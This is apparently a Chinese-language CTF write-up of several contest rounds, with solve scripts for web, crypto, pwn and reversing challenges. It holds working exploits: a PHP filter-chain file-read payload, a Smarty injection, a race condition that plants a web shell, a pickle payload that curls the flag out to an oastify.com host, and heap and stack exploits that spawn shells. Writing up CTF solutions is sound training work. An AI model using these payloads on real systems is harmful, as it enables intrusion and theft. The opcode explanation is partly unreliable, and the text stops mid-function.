def decipher(v, k):
v0, v1 = v
sum = (289739961 * 40) & 0xffffffff # Initial sum value
delta = 289739961
for i in range(40):
v1 -= (((v0 >> 5) ^ (16 * v0)) + v0) ^ (k[(sum >> 11) & 3] + sum)
v1 &= 0xffffffff
sum -= delta
sum &= 0xffffffff
v0 -= (((v1 >> 3) ^ (4 * v1)) + v1) ^ (k[sum & 3] + sum)
v0 &= 0xffffffff
return [v0, v1]
# 目标密文
target_v0 = 1913208188
target_v1 = -1240730499 & 0xffffffff # 转换为无符号整数
# 密钥
key = [4097, 8194, 12291, 16388]
# 解密
decrypted = decipher([target_v0, target_v1], key)
print(f"解密结果: {decrypted}")
print(f"输入的两个标签应该是: {decrypted[0]} 和 {decrypted[1]}")
[Round 2] ezwasm

外部改成大写即可
Web
[Round 2] Cmnts
Z2V0X3RoMXNfZjFhZy5waHA= #get_th1s_f1ag.php
?key=a7a795a8efb7c30151031c2cb700ddd9
变量覆盖
[Round 2] Pseudo(复现)
可以看到给的附件里面的下载的php文件
<?php
error_reporting(0);
if (isset($_GET['file'])) {
$data = file_get_contents($_GET['file']);
$file = tmpfile();
fwrite($file, $data);
fflush($file);
$type = mime_content_type(stream_get_meta_data($file)['uri']);
fclose($file);
if (!in_array($type,['image/jpg','image/jpeg', 'image/png', 'image/gif'])) {
echo "error!!!";
exit;
}else{
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="download.jpg"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
echo($data);
exit;
}
}
可以利用这里的函数漏洞得到flag,关键点是需要绕过mime_content_type函数,可以利用filterchain进行绕过得到flag
下面是脚本,或者用GitHub上面的脚本
<?php
$base64_payload = "R0lGODlB"; /*GIF89A*/
$conversions = array(
'/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
'0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'1' => 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
'2' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
'3' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
'5' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE',
'6' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
'7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'A' => 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C' => 'convert.iconv.UTF8.CSISO2022KR',
'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'E' => 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
'F' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
'G' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
'H' => 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
'I' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
'J' => 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
'K' => 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
'L' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
'M' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
'N' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
'O' => 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
'P' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'Q' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
'R' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
'S' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
'T' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'V' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
'W' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'X' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
'Y' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
'Z' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
'a' => 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
'b' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
'c' => 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'e' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
'f' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
'h' => 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
'i' => 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
'j' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
'k' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
'l' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
'm' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
'n' => 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
'o' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
'p' => 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
'q' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
'r' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
's' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
't' => 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
'u' => 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
'v' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932',
'w' => 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
'x' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
'y' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
'z' => 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
);
$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";
foreach (str_split(strrev($base64_payload)) as $c) {
$filters .= $conversions[$c] . "|";
$filters .= "convert.base64-decode|";
$filters .= "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";
$final_payload = "php://filter/{$filters}/resource=/flag";
echo $final_payload;

[Round 2] PHUPE(复现)
这题写的时候的思路就是尝试文件上传进行smarty的模板注入,但是没有成功。
0x01
TPL是Smarty模板引擎使用的模板文件格式,它允许将PHP逻辑代码与HTML展示代码分离,使用特殊的标签语法 {标签} 来实现动态内容。
smarty 可以使用 math + 8进制进行绕过
{extends file='views/layout.tpl'}
{block name=content}
<h1>CTF File Reader</h1>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file">
<button type="submit">Upload</button>
</form>
<pre>{$file_content}</pre>
{math equation="(\"\\163\\171\\163\\164\\145\\155\")(\"\\143\\141\\164\\40\\57\\146\\154\\141\\147\")"}
{/block}
~~跟着复现没有成功,感觉可能中间跳步骤了。~~时隔一周回来填坑,确实是自己的问题,没有好好研究给的附件,需要在对应的文件上进行文件的覆盖

然后就有flag了
0x02
从0CTF一道题看move_uploaded_file的一个细节问题,参考链接
[Round 2] RedFox(复现)
先注册一个账号进行登陆
有一个上传评论的地方,发现可以有ssrf的漏洞(当时其实想到这层了,没注意回显包)


然后测试一下/flag有无发现没有,
/uploads/profile_0f1726ba83325848d47e216b29d5ab99.jpg,后面我也没找到本地文件,先到这吧。,继续来填坑。
不能直接读到flag,尝试读index.php
<?php
session_start();
require_once 'config.php';
require_once 'Database.php';
require_once 'User.php';
require_once 'Post.php';
require_once 'Message.php';
$db = new Database();
$user = new User($db);
$post = new Post($db);
$message = new Message($db);
$error = '';
$success = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_POST['action'])) {
switch ($_POST['action']) {
case 'register':
if (isset($_POST['username']) && isset($_POST['password']) && isset($_POST['email'])) {
if ($user->register($_POST['username'], $_POST['password'], $_POST['email'])) {
$success = "Registration successful. Please log in.";
} else {
$error = "Registration failed. Please try again.";
}
}
break;
case 'login':
if (isset($_POST['username']) && isset($_POST['password'])) {
if ($user->login($_POST['username'], $_POST['password'])) {
$success = "Login successful.";
} else {
$error = "Invalid username or password.";
}
}
break;
case 'create_post':
if (isset($_SESSION['user_id']) && isset($_POST['content'])) {
$imageUrl = isset($_POST['image_url']) ? $_POST['image_url'] : null;
if ($post->create($_SESSION['user_id'], $_POST['content'], $imageUrl)) {
$success = "Post created successfully.";
} else {
$error = "Failed to create post.";
}
}
break;
case 'send_message':
if (isset($_SESSION['user_id']) && isset($_POST['to_user_id']) && isset($_POST['content'])) {
if ($message->send($_SESSION['user_id'], $_POST['to_user_id'], $_POST['content'])) {
$success = "Message sent successfully.";
} else {
$error = "Failed to send message.";
}
}
break;
case 'download_message':
if (isset($_SESSION['user_id']) && isset($_POST['data'])) {
if ($user->test($_SESSION['user_id'], $_POST['data'])) {
$success = "successfully.";
} else {
$error = "fail.";
}
}
break;
}
}
}
$feed = $post->getFeed();
?>
这是Database.php
<?php
class Database {
private $conn;
public function __construct() {
$this->conn = new mysqli(DB_HOST, DB_USER, DB_PASS, DB_NAME);
if ($this->conn->connect_error) {
die("Connection failed: " . $this->conn->connect_error);
}
}
public function query($sql, $params = []) {
$stmt = $this->conn->prepare($sql);
if ($stmt === false) {
return false;
}
if (!empty($params)) {
$types = str_repeat('s', count($params));
$stmt->bind_param($types, ...$params);
}
$stmt->execute();
if (stripos($sql, 'select') !== false) {
return $stmt->get_result();
} else {
return $stmt->affected_rows;
}
}
public function escape($value) {
return $this->conn->real_escape_string($value);
}
}
这是User.php
<?php
class User {
private $db;
public function __construct($db) {
$this->db = $db;
}
public function register($username, $password, $email) {
$hashedPassword = password_hash($password, PASSWORD_DEFAULT);
$sql = "INSERT INTO users (username, password, email) VALUES (?, ?, ?)";
return $this->db->query($sql, [$username, $hashedPassword, $email]);
}
public function login($username, $password) {
$sql = "SELECT * FROM users WHERE username = ?";
$result = $this->db->query($sql, [$username]);
if ($result->num_rows == 1) {
$user = $result->fetch_assoc();
if (password_verify($password, $user['password'])) {
$_SESSION['user_id'] = $user['id'];
$_SESSION['username'] = $user['username'];
return true;
}
}
return false;
}
public function test($id,$data){
if(count(array_unique(str_split($data))) <= 7 && !preg_match('/[a-z0-9]/i', $data)){
eval($data);
}
}
}
post.php
<?php
class Post {
private $db;
public function __construct($db) {
$this->db = $db;
}
public function create($userId, $content, $imageUrl = null) {
$sql = "INSERT INTO posts (user_id, content, image_url) VALUES (?, ?, ?)";
$image = $this->uploadImage($userId,$imageUrl);
return $this->db->query($sql, [$userId, $content, $image]);
}
public function getFeed($page = 1, $limit = 10) {
$offset = ($page - 1) * $limit;
$sql = "SELECT p.*, u.username FROM posts p JOIN users u ON p.user_id = u.id ORDER BY p.created_at DESC LIMIT ?, ?";
return $this->db->query($sql, [$offset, $limit]);
}
public function uploadImage($userId, $imageUrl) {
$filename = "";
$curl = curl_init();
curl_setopt ($curl, CURLOPT_URL, $imageUrl);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$imageContent = curl_exec ($curl);
curl_close ($curl);
if(preg_match('/http|gopher|dict/i',$imageUrl) && preg_match('/php|<\?|script/i',$imageContent)){
return false;
}
if ($imageContent !== false && strlen($imageContent)>50) {
$filename = 'profile_' . md5($imageUrl) . '.jpg';
file_put_contents('./uploads/' . $filename, $imageContent);
}else{
return false;
}
return "./uploads/" . $filename;
}
}
Message.php
<?php
class Message {
private $db;
public function __construct($db) {
$this->db = $db;
}
public function send($fromUserId, $toUserId, $content) {
$sql = "INSERT INTO messages (from_user_id, to_user_id, content) VALUES (?, ?, ?)";
return $this->db->query($sql, [$fromUserId, $toUserId, $content]);
}
public function getConversation($user1Id, $user2Id, $page = 1, $limit = 20) {
$offset = ($page - 1) * $limit;
$sql = "SELECT * FROM messages WHERE (from_user_id = ? AND to_user_id = ?) OR (from_user_id = ? AND to_user_id = ?) ORDER BY created_at DESC LIMIT ?, ?";
return $this->db->query($sql, [$user1Id, $user2Id, $user2Id, $user1Id, $offset, $limit]);
}
}
?>
打包分析一下发现存储在一个文件夹跟进,发现有漏洞的地方是在post.php里,但是已经利用过了
在index.php里有
public function test($id,$data){
if(count(array_unique(str_split($data))) <= 7 && !preg_match('/[a-z0-9]/i', $data)){
eval($data);
}
}
可以打一个条件竞争进去
file:///etc/php/7.0/apache2/php.ini

然后上exp吧
import io
import sys
import requests
import threading
sessid = 'orange'
def WRITE(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://challenge.yuanloo.com:27814/index.php',
data={
"PHP_SESSION_UPLOAD_PROGRESS": "1\necho '<?php eval($_POST[a]);'>/var/www/html/uploads/shell.php\n"},
files={"file": ('wi.txt', f)},
cookies={'PHPSESSID': sessid}
)
def READ(session):
while True:
request = requests.session()
data = {
'action': 'login',
'username': '123',
'password': '123'
}
request.post("http://challenge.yuanloo.com:27814/", data=data)
data = {
'action': 'download_message',
'data': '`. /???/???/???/???/??????????????`;'
}
request.post("http://challenge.yuanloo.com:27814/", data=data)
if requests.get("http://challenge.yuanloo.com:27814/uploads/shell.php").status_code != 404:
print('Success!')
exit(0)
with requests.session() as session:
t1 = threading.Thread(target=WRITE, args=(session,))
t1.daemon = True
t1.start()
READ(session)
[Round 2] SNEKLY(复现)
from flask import Flask, render_template, request, jsonify
from flask_login import LoginManager, UserMixin
import sqlite3
import base64
import pickle
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = '060ac533d307'
app.static_folder = 'static'
login_manager = LoginManager()
login_manager.init_app(app)
login_manager.login_view = 'login'
user = {}
current_dir = os.path.dirname(os.path.abspath(__file__))
db_path = os.path.join(current_dir, 'data.db')
class User(UserMixin):
def __init__(self, id, username, password_hash, data):
self.id = id
self.username = username
self.password_hash = password_hash
self.data = data
@login_manager.user_loader
def load_user(user_id):
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))
user_data = cursor.fetchone()
conn.close()
if user_data:
return User(id=user_data[0], username=user_data[1], password_hash=user_data[2], data=user_data[3])
return None
@app.route('/')
def index():
return render_template("login.html")
@app.route('/login', methods=['POST'])
def login():
global user
if request.method == "POST":
username = request.form.get('username')
password = request.form.get('password')
if not username or not password:
return jsonify({"code": 1, "msg": "用户名或密码不能为空"})
try:
con = sqlite3.connect(db_path)
cur = con.cursor()
output = cur.execute(
'SELECT * FROM users WHERE username = {post[username]!r} AND password = {post[password]!r}'
.format(post=request.form)
).fetchone()
if output is None:
return jsonify({"code": 1, "msg": "用户名或密码错误"})
user['id'], user['username'], user['password'], user['data'] = output
# 使用安全的密码验证方法
if (user['username'] == username) and (user['password'] == password):
return jsonify({"code": 0, "msg": "登录成功"})
else:
user = {}
return jsonify({"code": 1, "msg": "用户名或密码错误"})
except sqlite3.Error as e:
print(f"数据库错误: {e}")
return jsonify({"code": 1, "msg": "服务器错误,请稍后重试"})
return jsonify({"code": 1, "msg": "无效的请求方法"})
@app.route('/unSer')
def unSer():
try:
data = base64.b64decode(user['data'])
if any(keyword in data for keyword in [b'getattr', b'R', b'map', b'eval', b'exec', b'import']):
raise pickle.UnpicklingError("unSer")
pickle.loads(data)
except Exception as e:
pass
return "unSer"
if __name__ == "__main__":
app.run(host='0.0.0.0')
看到有pickle的模块大抵应该是考察python的反序列化,定位一下关键代码
def unSer():
try:
data = base64.b64decode(user['data'])
if any(keyword in data for keyword in [b'getattr', b'R', b'map', b'eval', b'exec', b'import']):
raise pickle.UnpicklingError("unSer")
pickle.loads(data)
except Exception as e:
pass
return "unSer"
使用bp打一个dnslog
import base64
import requests
def quine(data):
data = data.replace('$$', "REPLACE(REPLACE(REPLACE($$,CHAR(39),CHAR(34)),CHAR(36),$$), CHAR(92), CHAR())")
data1 = data.replace("'", '"').replace('$$', "'$'")
data = data.replace('$$', f'"{data1}"')
return data
def exp():
username = "test\"'"
opcode = b'''c__builtin__
filter
p0
0(S'curl http://`cat /f*`.urpybxuysw5jjp2ie3koqo4ia9g14rsg.oastify.com'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''
a = base64.b64encode(opcode).decode()
res = ''
for i in a:
if ord(i) > 58 or ord(i) < 47:
res += "||CHAR(" + str(ord(i)) + ")"
else:
res += "||" + i
res = res[2:]
password = f" UNION SELECT $$, CHAR({','.join(str(ord(c)) for c in username)}), $$,({res});-- -"
password = quine(password)
requests.post(url="http://challenge.yuanloo.com:29180/login",
data={
"username": username,
"password": password
})
requests.get(url="http://challenge.yuanloo.com:29180/unSer")
if __name__ == "__main__":
exp()

学学opcode吧
开头的 c__builtin__:
c 表示这个数据结构是一个类的调用。
__builtin__ 是 Python 内置模块,意味着后续会调用该模块中的函数。
filter 是内置函数,用于过滤序列。它将在后续的调用中被使用。
p0 表示将后续的对象(0表示第一个对象)保存到位置 0。
0(S'curl http://... 是一个字符串对象,表示要执行的命令。
这里的命令使用反引号执行 cat /f*,并将输出发送到指定的 URL。
tp1 是另一个指令,用于标记后续的数据结构类型。
0(cos 说明后续数据是与 cos 相关
system 是 os 模块中的一个函数,用于执行系统命令。
g1 用于获取在之前定义的对象,可能是一个函数的引用。
tp2 标记下一个数据结构的类型。
0g0 指获取第一个对象(即命令字符串)。
g2 表示下一个对象的获取。
\x81 是一个转义字符,用于处理特定的内部格式。
p3 表示将此对象保存到位置 3。
0c__builtin__ 和 tuple:
这段是为了创建一个元组,包含前面定义的对象。
最终的结构是一个包含 system 函数和命令的元组。
p4 将这个元组保存在位置 4。
(g3 是标记获取之前保存的对象(即要执行的命令)。
Round 3
crypto
[Round 3] ezlcg
from pwn import *
import re
from Crypto.Util.number import inverse
p = remote("challenge.yuanloo.com", 22178)
# 跳过前27行
for _ in range(27):
p.recvline()
def solve_lcg_parameters(states, N):
"""求解LCG的参数a和b"""
diffs = []
for i in range(len(states) - 1):
diffs.append((states[i + 1] - states[i]) % N)
a_candidates = []
for i in range(len(diffs) - 1):
if diffs[i + 1] != 0:
try:
a = (diffs[i + 1] * inverse(diffs[i], N)) % N
a_candidates.append(a)
except:
continue
if len(a_candidates) > 0:
a = max(set(a_candidates), key=a_candidates.count)
b = (states[1] - a * states[0]) % N
return a, b
return None, None
def find_seed(N, num1, num2, num3):
"""从三个连续状态值找到初始种子"""
states = [num1, num2, num3]
# 求解a和b
a, b = solve_lcg_parameters(states, N)
if not a or not b:
return None, None, None
# 反推seed
seed = ((num1 - b) * inverse(a, N)) % N
# 验证
state = seed
verified = True
for expected in [num1, num2, num3]:
state = (state * a + b) % N
if state != expected:
verified = False
break
return seed, a, b if verified else (None, None, None)
for _ in range(50):
data = p.recvuntil("seed =".encode()).decode()
a_match = re.search(r'a=(\d+)', data)
b_match = re.search(r'b=(\d+)', data)
N_match = re.search(r'N=(\d+)', data)
num1_match = re.search(r'num1=(\d+)', data)
if a_match and b_match and N_match and num1_match:
a = int(a_match.group(1))
b = int(b_match.group(1))
N = int(N_match.group(1))
num1 = int(num1_match.group(1))
def find_seed_a_b(a, b, N, num1):
left_side = (num1 - b) % N
a_inv = inverse(a, N)
seed = (left_side * a_inv) % N
return seed
seed = find_seed_a_b(a, b, N, num1)
p.sendline(str(seed))
response = p.recvuntil("success!".encode())
print(response.decode())
response = p.recvuntil("Challenge two,30 Round".encode())
if "Challenge two,30 Round" in response.decode():
for _ in range(30):
data = p.recvuntil("seed =".encode()).decode()
a_match = re.search(r'a=(\d+)', data)
N_match = re.search(r'N=(\d+)', data)
num1_match = re.search(r'num1=(\d+)', data)
num2_match = re.search(r'num2=(\d+)', data)
if a_match and N_match and num1_match and num2_match:
a = int(a_match.group(1))
N = int(N_match.group(1))
num1 = int(num1_match.group(1))
num2 = int(num2_match.group(1))
def lcg_seed(num1, num2, a, N):
b = (num2 - (a * num1) % N + N) % N
seed = (num1 - b) * inverse(a, N) % N
return seed
seed = lcg_seed(num1, num2, a, N)
p.sendline(str(seed))
response = p.recvuntil("success!".encode())
print(response.decode())
# Challenge three 部分
data = p.recvuntil("Challenge three,10 Round".encode()).decode()
if "Challenge three,10 Round" in data:
print("进入 Challenge three, 10 Round")
for _ in range(10):
data = p.recvuntil("seed =".encode()).decode()
N_match = re.search(r'N=(\d+)', data)
num1_match = re.search(r'num1=(\d+)', data)
num2_match = re.search(r'num2=(\d+)', data)
num3_match = re.search(r'num3=(\d+)', data)
if N_match and num1_match and num2_match and num3_match:
N = int(N_match.group(1))
num1 = int(num1_match.group(1))
num2 = int(num2_match.group(1))
num3 = int(num3_match.group(1))
# 使用 LCG 解密函数找到 seed
seed, a, b = find_seed(N, num1, num2, num3)
if seed is not None:
p.sendline(str(seed))
response = p.recvuntil("success!".encode())
print(response.decode())
else:
print("无法找到种子")
p.interactive()
[Round 3] QWQ
明显的颜文字,转一下再base解密即可

Misc
[Round 3] Blackdoor
一个文件夹,用d盾扫一下发现危险文件,里面有MD5值,套一下得到flag
Pwn
[Round 3] Secret
附件ida打开输入nc连接输入密文SuperSecretPassword得到flag
[Round 3] ezstack3
先看mian和vuln,再观察system利用栈溢出漏洞首先发送填充数据以覆盖返回地址,然后接收 EBP 地址并计算其偏移。接着构造 payload,调用 system 函数执行 /bin/sh,最终获得交互式 shell。
from pwn import *
p = remote('challenge.yuanloo.com', 32407)
context(os='linux', arch='i386', log_level='debug')
p.recvuntil(b'Welcome to YLCTF stack3')
p.send(b'a' * 0x30)
p.recvuntil(b'a' * 0x30)
ebp = u32(p.recv(4)) - 16
p.recvuntil(b'pwn!')
p.send(
p32(0x080490C0) + # system
p32(0) + # argument for system
p32(ebp - 36) + # return address
b'/bin/sh\x00' +
b'a' * 28 +
p32(ebp - 52) + # old EBP
p32(0x08049324) # leave_ret
)
p.interactive()

[Round 3] null
利用了 off-by-one 漏洞,通过 edit 函数实现堆块重叠,进而修改前一个堆块的 fd 指针以覆盖 free_hook。当再次释放该堆块时,程序会调用 free_hook 指向的地址,执行 system 函数,从而获取权限并启动一个 shell。
from pwn import *
context.os = 'linux'
context.arch = 'amd64'
context.log_level = 'debug'
def print_info(x): print('\x1b[01;38;5;214m' + x + '\x1b[0m')
def print_error(x): print('\x1b[01;38;5;1m' + x + '\x1b[0m')
class Exploit:
def __init__(self, is_remote=True):
self.elf = ELF('./pwn')
self.libc = ELF('./libc-2.27.so')
if is_remote:
self.p = remote('challenge.yuanloo.com', 39010)
else:
self.p = process('./pwn')
self.libc_base = 0
self.malloc_hook = 0
self.free_hook = 0
self.system = 0
self.bin_sh = 0
def get_addr64(self):
return u64(self.p.recvuntil(b"\x7f")[-6:].ljust(8, b'\x00'))
def get_libc_offsets(self):
self.malloc_hook = self.libc_base + self.libc.sym['__malloc_hook']
self.free_hook = self.libc_base + self.libc.sym['__free_hook']
self.system = self.libc_base + self.libc.sym['system']
self.bin_sh = self.libc_base + next(self.libc.search(b"/bin/sh\x00"))
# Heap operations
def add(self, index, size):
self.p.recvuntil(b':')
self.p.sendline(str(1))
self.p.recvuntil(b"Index: ")
self.p.sendline(str(index))
self.p.recvuntil(b"Size ")
self.p.sendline(str(size))
def free(self, index):
self.p.recvuntil(b':')
self.p.sendline(str(4))
self.p.recvuntil(b"Index: ")
self.p.sendline(str(index))
def show(self, index):
self.p.recvuntil(b':')
self.p.sendline(str(3))
self.p.recvuntil(b"Index: ")
self.p.sendline(str(index))
def edit(self, index, content):
self.p.recvuntil(b':')
self.p.sendline(str(2))
self.p.recvuntil(b"Index: ")
self.p.sendline(str(index))
self.p.recvuntil(b"Content: ")
self.p.sendline(content)
def exploit(self):
# Initial heap setup
for i in range(9):
self.add(i, 0x90)
for i in range(8):
self.free(i)
for i in range(7):
self.add(i, 0x90)
self.add(7, 0x88)
self.show(7)
self.libc_base = self.get_addr64() - 4111664
print_info(f"Libc base: {hex(self.libc_base)}")
self.get_libc_offsets()
self.add(9, 0x18)
self.add(10, 0x68)
self.add(11, 0x68)
self.add(12, 0x68)
self.add(13, 0x18)
self.edit(9, b'a' * 0x18 + p8(0xe1))
self.free(10)
self.add(10, 0xd8)
self.free(12)
self.free(11)
self.edit(10, b'\x00' * 0x68 + p64(0x71) + p64(self.free_hook))
self.add(14, 0x68)
self.add(15, 0x68)
self.edit(15, p64(self.system))
self.edit(9, b'/bin/sh\x00')
self.free(9)
self.p.interactive()
def main():
exp = Exploit(is_remote=True)
exp.exploit()
if __name__ == "__main__":
main()

Re
[Round 3] ezmaze(一血)
import hashlib
from collections import deque
def visualize_maze(maze_str, width=10):
"""Visualize the maze in a grid format."""
return '\n'.join(maze_str[i:i + width] for i in range(0, len(maze_str), width))
def is_valid_move(maze, pos):
"""Check if the current position is valid."""
return 0 <= pos < len(maze) and maze[pos] in ['+', 'F']
def solve_maze():
maze = "*****++*********+******+*++******+++*****F*+*******+*+++*****+***++****+***+*****+***+*+***+++++++************"
start_pos = 5
moves = {'w': -10, 's': 10, 'a': -1, 'd': 1}
queue = deque([(start_pos, "")])
visited = {start_pos}
while queue:
pos, path = queue.popleft()
if maze[pos] == 'F':
return path
for move_char, move_val in moves.items():
new_pos = pos
while is_valid_move(maze, new_pos + move_val):
new_pos += move_val
if new_pos not in visited:
visited.add(new_pos)
queue.append((new_pos, path + move_char))
return None
def verify_solution(solution):
